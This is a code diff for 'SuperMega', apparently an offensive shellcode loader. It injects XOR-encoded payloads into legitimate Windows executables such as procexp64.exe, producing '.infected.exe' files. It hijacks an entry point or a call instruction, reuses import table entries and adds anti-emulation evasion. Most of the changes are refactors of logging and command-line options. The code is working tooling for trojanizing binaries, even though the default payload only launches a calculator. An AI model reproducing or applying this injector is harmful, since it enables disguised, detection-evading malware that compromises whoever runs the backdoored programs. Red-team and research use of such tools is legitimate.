diff --git a/config.py b/config.py index ffb6634..d2f8a08 100644 --- a/config.py +++ b/config.py @@ -51,7 +51,7 @@ class Config(object): else: self.xor_key2 = self.data["xor_key2"] - logger.info("-( Payload encryption keys: XOR: {} XOR2: {}".format( + logger.debug("-( Payload encryption keys: XOR: {} XOR2: {}".format( self.xor_key, self.xor_key2 )) diff --git a/helper.py b/helper.py index af16f0f..fcc3dd7 100644 --- a/helper.py +++ b/helper.py @@ -51,12 +51,12 @@ def clean_files(settings): def run_exe(exefile, dllfunc="", check=True): - logger.info("--[ Start infected file: {}".format(exefile)) + logger.info("-[ Start infected file: {}".format(exefile)) if exefile.endswith(".dll"): if dllfunc == "": dllfunc = "dllMain" - logger.info("----[ No DLL function specified, using default: {}".format(dllfunc)) + logger.info("---[ No DLL function specified, using default: {}".format(dllfunc)) #raise Exception("---[ No DLL function specified") args = [ "rundll32.exe", "{},{}".format(exefile, dllfunc) ] elif exefile.endswith(".exe"): diff --git a/log.py b/log.py index 2d0d203..4ef3edc 100644 --- a/log.py +++ b/log.py @@ -39,7 +39,8 @@ class ListHandler(logging.Handler): log_entry = self.format(record) observer.add_log(log_entry) -def setup_logging(level = logging.INFO): + +def setup_logging(level = logging.DEBUG): root_logger = logging.getLogger() root_logger.setLevel(level) diff --git a/model/injectable.py b/model/injectable.py index 90718c0..9f69920 100644 --- a/model/injectable.py +++ b/model/injectable.py @@ -46,8 +46,13 @@ class Injectable(): self.exe_filepath: str = exe_file self.superpe: SuperPe = None - def init(self): + def init(self) -> bool: + # check if file exists + if not os.path.exists(self.exe_filepath): + logger.error("Injectable file does not exist: {}".format(self.exe_filepath)) + return False self.superpe = SuperPe(self.exe_filepath) + return True # IAT @@ -77,7 +82,7 @@ class Injectable(): # Data Reuse def add_datareuse_fixup(self, fixup: DataReuseEntry): - logger.info("---( Add datareuse: {}".format(fixup.string_ref)) + logger.debug("---( Add datareuse: {}".format(fixup.string_ref)) self.reusedata_fixups.append(fixup) def get_all_reusedata_fixups(self) -> List[DataReuseEntry]: diff --git a/model/payload.py b/model/payload.py index d4252f4..682ea0c 100644 --- a/model/payload.py +++ b/model/payload.py @@ -12,8 +12,13 @@ class Payload(): self.payload_data: bytes = b"" - def init(self): - logging.info("--( Load payload: {}".format(self.payload_path)) + def init(self) -> bool: + logging.info("-( Load payload: {}".format(self.payload_path)) + if not os.path.exists(self.payload_path): + logger.error("Payload file does not exist: {}".format(self.payload_path)) + return False + with open(self.payload_path, 'rb') as f: self.payload_data = f.read() + return True diff --git a/model/project.py b/model/project.py index 044ec27..d82649d 100644 --- a/model/project.py +++ b/model/project.py @@ -28,9 +28,12 @@ class Project(): self.project_exe: str = "" - def init(self): - self.payload.init() - self.injectable.init() + def init(self) -> bool: + if not self.payload.init(): + return False + if not self.injectable.init(): + return False + return True def prepare_project(project_name, settings): diff --git a/model/settings.py b/model/settings.py index cd76ba8..470e15c 100644 --- a/model/settings.py +++ b/model/settings.py @@ -62,8 +62,8 @@ class Settings(): self.try_start_final_infected_exe = False else: self.cleanup_files_on_exit = False - - self.inject_exe_in = injectable + + self.inject_exe_in = FilePath(PATH_EXES + injectable) self.inject_exe_out = FilePath("{}{}".format( self.main_dir, os.path.basename(self.inject_exe_in).replace(".exe", ".infected.exe") diff --git a/pe/asmdisasm.py b/pe/asmdisasm.py index 17849ed..1dcc0d4 100644 --- a/pe/asmdisasm.py +++ b/pe/asmdisasm.py @@ -59,4 +59,4 @@ def printInstr(instr, depth=0): if len(instr.bytes) < 8: _bytes.extend([' ',] * (8 - len(instr.bytes))) instrBytes = ' '.join([f'{x}' for x in _bytes]) - logger.info('\t' * 1 + f' [{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}') + logger.debug('\t' * 1 + f' [{instr.address:08x}]\t{instrBytes}' + '\t' * depth + f'{instr.mnemonic}\t{instr.op_str}') diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index c29eab8..04b6d6d 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -32,14 +32,14 @@ class FunctionBackdoorer: def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int): - logger.info("--[ Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr)) + logger.debug("--[ Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr)) addr = self.find_suitable_instruction_addr(function_addr) if addr is None: raise Exception("Couldn't find a suitable instruction to backdoor") compiled_trampoline = assemble_relative_jmp(addr, shellcode_addr) - logger.info("--[ Backdoor Instruction at 0x{:X} (offset to shellcode: 0x{:X})".format(addr, shellcode_addr - addr)) + logger.debug("---[ Backdoor Instruction at 0x{:X} (offset to shellcode: 0x{:X})".format(addr, shellcode_addr - addr)) # Check for overlap it = IntervalTree() @@ -51,12 +51,11 @@ class FunctionBackdoorer: logger.warning("Text section too small?") # write - #logger.info("Trampoline: {}".format(compiled_trampoline)) + #logger.debug("Trampoline: {}".format(compiled_trampoline)) #asm_disasm(compiled_trampoline, offset=function_addr) self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline)) # Show Result - logger.info("--[ Patched result of function: ".format()) #data = self.pe_data[function_addr:addr+len(compiled_trampoline)] data = self.superpe.pe.get_data(function_addr, addr+len(compiled_trampoline)-function_addr) asm_disasm(data, offset=function_addr) @@ -64,14 +63,14 @@ class FunctionBackdoorer: def find_suitable_instruction_addr(self, startOffset, length=256): """Find a instruction to backdoor. Recursively.""" - logger.info("---[ find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format( + logger.debug("---[ find suitable instruction to hijack starting from 0x{:X} len:{} depthopt:{}".format( startOffset, length, self.depth_option)) if self.depth_option == DEPTH_OPTIONS.LEVEL1: return self._find_suitable_instruction_addr(startOffset, length, 1) else: addr = self._find_suitable_instruction_addr(startOffset, length, 2) - logger.info("Using code at 0x{:X} to find instruction".format(addr)) + logger.debug("Using code at 0x{:X} to find instruction".format(addr)) if self.depth_option == DEPTH_OPTIONS.LEVEL2a: return self._find_suitable_instruction_addr(addr, length, 2) diff --git a/phases/injector.py b/phases/injector.py index 70959ac..98b5f4c 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -114,7 +114,7 @@ class Injector(): exe_out = self.settings.inject_exe_out carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style - logger.info("-[ Injecting: into {} -> {}".format(exe_in, exe_out)) + logger.info("-[ Injecting into {} -> {}".format(exe_in, exe_out)) # Patch IAT (if necessary and wanted) self.injectable_patch_iat() @@ -142,7 +142,7 @@ class Injector(): else: # EXE/DLL carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) #logger.info("{} {}".format(self.carrier_rva, carrier_offset)) - logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format( + logger.info("--( Inject: Write Carrier to 0x{:X} (0x{:X})".format( self.carrier_rva, carrier_offset)) # Copy the carrier @@ -163,13 +163,13 @@ class Injector(): else: # EXE if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint: - logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format( + logger.info("--( Inject EXE: Change Entry Point to 0x{:X}".format( self.carrier_rva)) self.superpe.set_entrypoint(self.carrier_rva) elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr: addr = self.superpe.get_entrypoint() - logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format( + logger.info("--( Inject EXE: Backdoor function at entrypoint (0x{:X})".format( addr)) self.function_backdoorer.backdoor_function( addr, self.carrier_rva, carrier_shc_len) @@ -198,12 +198,13 @@ class Injector(): def injectable_patch_iat(self): + logger.info("--( Checking if IAT entries required by carrier are available") # Patch IAT (if necessary and wanted) for iatRequest in self.injectable.get_all_iat_requests(): # skip available addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name) if addr != None: - logger.info("---[ Request IAT {} is available at 0x{:X}".format( + logger.debug("---[ Request IAT {} is available at 0x{:X}".format( iatRequest.name, addr)) continue iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name) @@ -234,8 +235,11 @@ class Injector(): if destination_virtual_address == None: raise Exception("IatResolve: Function {} not found".format(iatRequest.name)) - instruction_virtual_address = offset_from_code + self.injectable.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress - logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format( + image_base = self.injectable.superpe.get_image_base() + va = self.superpe.get_code_section().VirtualAddress + instruction_virtual_address = offset_from_code + image_base + va + #instruction_virtual_address = offset_from_code + self.injectable.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress + logger.debug(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format( placeholder.hex(), instruction_virtual_address, destination_virtual_address, @@ -261,17 +265,19 @@ class Injector(): return # insert data - logger.info("---( DataReuseFixups: Inject the data") + logger.info("--( DataReuseFixups: Inject the data") for datareuse_fixup in reusedata_fixups: - logger.info(" Handling DataReuse Fixup: {} (.code: {})".format( + logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format( datareuse_fixup.string_ref, datareuse_fixup.in_code)) if datareuse_fixup.in_code: # .text shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva) self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data) payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset) + if payload_rva == None: + raise Exception("DataReuseFixup: payload_rva is None") datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base() - logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format( + logging.debug(" Add to .text at 0x{:X} ({}): {} with size {}".format( datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data))) else: # .rdata @@ -288,11 +294,11 @@ class Injector(): self.superpe.pe.set_bytes_at_rva(data_rva, var_data) datareuse_fixup.addr = data_rva + self.injectable.superpe.get_image_base() ## - logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format( + logging.debug(" Add to .rdata at 0x{:X} ({}): {}: {}".format( datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data))) # replace the placeholder in .text with a LEA instruction to the data we written above - logger.info("---( Datareusefixups: patch code to reference the data") + logger.info("--( Datareusefixups: patch code to reference the data") code = self.superpe.get_code_section_data() for datareuse_fixup in reusedata_fixups: ref: DataReuseReference @@ -304,7 +310,7 @@ class Injector(): offset_from_datasection = code.index(ref.placeholder) instruction_virtual_address = offset_from_datasection + self.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress destination_virtual_address = datareuse_fixup.addr - logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format( + logger.debug(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format( ref.placeholder.hex(), instruction_virtual_address, ref.register, destination_virtual_address )) lea = assemble_lea( diff --git a/phases/templater.py b/phases/templater.py index b2ebe1a..63bd309 100644 --- a/phases/templater.py +++ b/phases/templater.py @@ -23,7 +23,7 @@ def get_template_names() -> List[str]: def create_c_from_template(settings: Settings, payload_len: int): - logger.info("-( Create C from template: {} -> {}".format( + logger.info("-[ Create C from template: {} -> {}".format( PATH_DECODER, settings.main_c_path)) plugin_decoder = "" @@ -69,7 +69,7 @@ def create_c_from_template(settings: Settings, payload_len: int): sir_alloc_count, max_alloc_count )) sir_alloc_count = max_alloc_count - logging.info("> AntiEmulation: iterations: {} allocs: {}".format( + logging.debug("-( AntiEmulation settings: iterations: {} allocs: {}".format( sir_iteration_count, sir_alloc_count) ) plugin_antiemualation = file.read() diff --git a/supermega.py b/supermega.py index d5b3928..c04a81a 100644 --- a/supermega.py +++ b/supermega.py @@ -26,66 +26,60 @@ def main(): logger.info("Super Mega") config.load() check_deps() - settings = Settings() + settings = Settings("commandline") parser = argparse.ArgumentParser(description='SuperMega shellcode loader') - parser.add_argument('--shellcode', type=str, help='The path to the file of your payload shellcode') - parser.add_argument('--inject', type=str, help='The path to the file where we will inject ourselves in') - parser.add_argument('--carrier', type=str, help='carrier name (peb_walk, iat_reuse, ...)') - parser.add_argument('--decoder', type=str, help='Template: which decoder plugin') - parser.add_argument('--carrier_invoke', type=str, help='Redbackdoorer run argument (1 EAP, 2 hijack)') + parser.add_argument('--shellcode', type=str, help='payload shellcode: data/binary/shellcodes/* (messagebox.bin, calc64.bin, ...)', default="calc64.bin") + parser.add_argument('--inject', type=str, help='which exe to inject into: data/binary/exes/* (7z.exe, procexp64.exe, ...)', default="procexp64.exe") + parser.add_argument('--carrier', type=str, help='carrier: data/source/carrier/* (alloc_rw_rx, peb_walk, ...)', default="alloc_rw_rx") + parser.add_argument('--decoder', type=str, help='decoder: data/source/decoders/* (xor_1, xor_2, plain, ...)', default="xor_2") + parser.add_argument('--antiemulation', type=str, help='anti-emulation: data/source/antiemulation/* (sirallocalot, timeraw, none, ...)', default="sirallocalot") + parser.add_argument('--fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=True) + parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"eop\" for entry point', choices=["eop", "backdoor"], default="backdoor") parser.add_argument('--start-injected', action='store_true', help='Dev: Start the generated infected executable at the end') parser.add_argument('--start-loader-shellcode', action='store_true', help='Dev: Start the loader shellcode (without payload)') parser.add_argument('--start-final-shellcode', action='store_true', help='Debug: Start the final shellcode (loader + payload)') - parser.add_argument('--short-call-patching', action='store_true', help='Make short calls long. You will know when you need it.') + parser.add_argument('--short-call-patching', action='store_true', help='Debug: Make short calls long. You will know when you need it.') parser.add_argument('--no-clean-at-start', action='store_true', help='Debug: Dont remove any temporary files at start') parser.add_argument('--no-clean-at-exit', action='store_true', help='Debug: Dont remove any temporary files at exit') parser.add_argument('--show', action='store_true', help='Debug: Show tool output') + parser.add_argument('--debug', action='store_true', help='Debug: Show debug output') args = parser.parse_args() if args.show: config.ShowCommandOutput = True + if args.debug: + setup_logging(logging.DEBUG) + else: + setup_logging(logging.INFO) + settings.try_start_final_infected_exe = args.start_injected settings.cleanup_files_on_start = not args.no_clean_at_start settings.cleanup_files_on_exit =not args.no_clean_at_exit + # Shellcode: filename + # Inject: filename + settings.init_payload_injectable( + shellcode=FilePath(args.shellcode), + injectable=FilePath(args.inject), + dll_func="") + + settings.decoder_style = args.decoder + settings.carrier_name = args.carrier + settings.payload_location = PayloadLocation.CODE # makes sense if args.short_call_patching: settings.short_call_patching = True + if args.carrier_invoke == "eop": + settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint + elif args.carrier_invoke == "backdoor": + settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr + settings.plugin_antiemulation = args.antiemulation - if args.carrier: - settings.carrier_name = args.carrier - if args.decoder: - settings.decoder_style = args.decoder - if args.inject: - if args.carrier_invoke == "eop": - settings.carrier_invoke_style = CarrierInvokeStyle.ChangeEntryPoint - elif args.carrier_invoke == "backdoor": - settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr - else: - logging.error("Invalid carrier_invoke, use: eop, backdoor") - return - - if not args.shellcode or not args.inject: - logger.error("Require: --shellcode --inject ") - logger.info(r"Example: .\supermega.py --shellcode .\data\shellcodes\calc64.bin --inject .\data\exes\7z.exe") - return 1 - if args.shellcode: - if not os.path.isfile(args.shellcode): - logger.info("Could not find: {}".format(args.shellcode)) - return - settings.payload_path = args.shellcode - if args.inject: - if not os.path.isfile(args.inject): - logger.info("Could not find: {}".format(args.inject)) - return - settings.inject_exe_in = args.inject - settings.inject_exe_out = FilePath("{}{}".format( - settings.main_dir, - os.path.basename(args.inject).replace(".exe", ".injected.exe") - )) - settings.inject_exe_out = args.inject.replace(".exe", ".infected.exe").replace(".dll", ".infected.dll") - + if not os.path.exists(settings.main_dir): + logger.info("Creating project directory: {}".format(settings.main_dir)) + os.makedirs(settings.main_dir) + write_webproject("default", settings) exit_code = start(settings) exit(exit_code) @@ -138,12 +132,15 @@ def sanity_checks(settings): raise Exception("loader requires shellcode as payload, not DLL") + def start_real(settings: Settings): """Main entry point for the application. This is where the magic happens (based on settings)""" # Load our input project = Project(settings) - project.init() + if not project.init(): + logger.error("Error initializing project") + return 1 # CHECK if 64 bit if not project.injectable.superpe.is_64(): @@ -238,7 +235,7 @@ def start_real(settings: Settings): if payload_exit_code != 0: logger.warning("Payload exit code: {}".format(payload_exit_code)) elif settings.try_start_final_infected_exe: - run_exe(settings.inject_exe_out, dllfunc=settings.dllfunc) + run_exe(settings.inject_exe_out, dllfunc=settings.dllfunc, check=False) def obfuscate_shc_loader(file_shc_in, file_shc_out): @@ -280,8 +277,25 @@ def verify_shellcode(shc_name): else: logger.error("---> Verify FAIL. Shellcode doesnt work (file was not created)") return False + +def command_exists(cmd): + try: + # Use the "where" command to check if the command is in the PATH + result = subprocess.run( + ["where", cmd], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + shell=True + ) + return result.returncode == 0 + except Exception: + return False + if __name__ == "__main__": - setup_logging() + if not command_exists("cl.exe"): + logger.error("cl.exe not found in PATH. Please install Visual Studio Build Tools.") + logger.error("And start this in Developer Command prompt.") + exit(1) main() diff --git a/tests/test_superpe.py b/tests/test_superpe.py index 03ab1f6..08ec396 100644 --- a/tests/test_superpe.py +++ b/tests/test_superpe.py @@ -31,9 +31,10 @@ class SuperPeTest(unittest.TestCase): # Text Section 2 (PeSection) code_pesect = superpe.get_section_by_name(".text") self.assertIsNotNone(code_pesect) - self.assertEqual(code_pesect.name, ".text") - self.assertEqual(code_pesect.virt_addr, 0x1000) - self.assertEqual(code_pesect.virt_size, 0x11B0CE) + if code_pesect is not None: + self.assertEqual(code_pesect.name, ".text") + self.assertEqual(code_pesect.virt_addr, 0x1000) + self.assertEqual(code_pesect.virt_size, 0x11B0CE) # Relocations base_relocs: List[PeRelocEntry] = superpe.get_base_relocs() @@ -89,11 +90,12 @@ class SuperPeTest(unittest.TestCase): self.assertEqual(code_sect.Misc_VirtualSize, 3912) # Text Section 2 (PeSection) - code_pesect: PeSection = superpe.get_section_by_name(".text") + code_pesect: PeSection|None = superpe.get_section_by_name(".text") self.assertIsNotNone(code_pesect) - self.assertEqual(code_pesect.name, ".text") - self.assertEqual(code_pesect.virt_addr, 0x1000) - self.assertEqual(code_pesect.virt_size, 3912) + if code_pesect is not None: + self.assertEqual(code_pesect.name, ".text") + self.assertEqual(code_pesect.virt_addr, 0x1000) + self.assertEqual(code_pesect.virt_size, 3912) # Relocations base_relocs: List[PeRelocEntry] = superpe.get_base_relocs()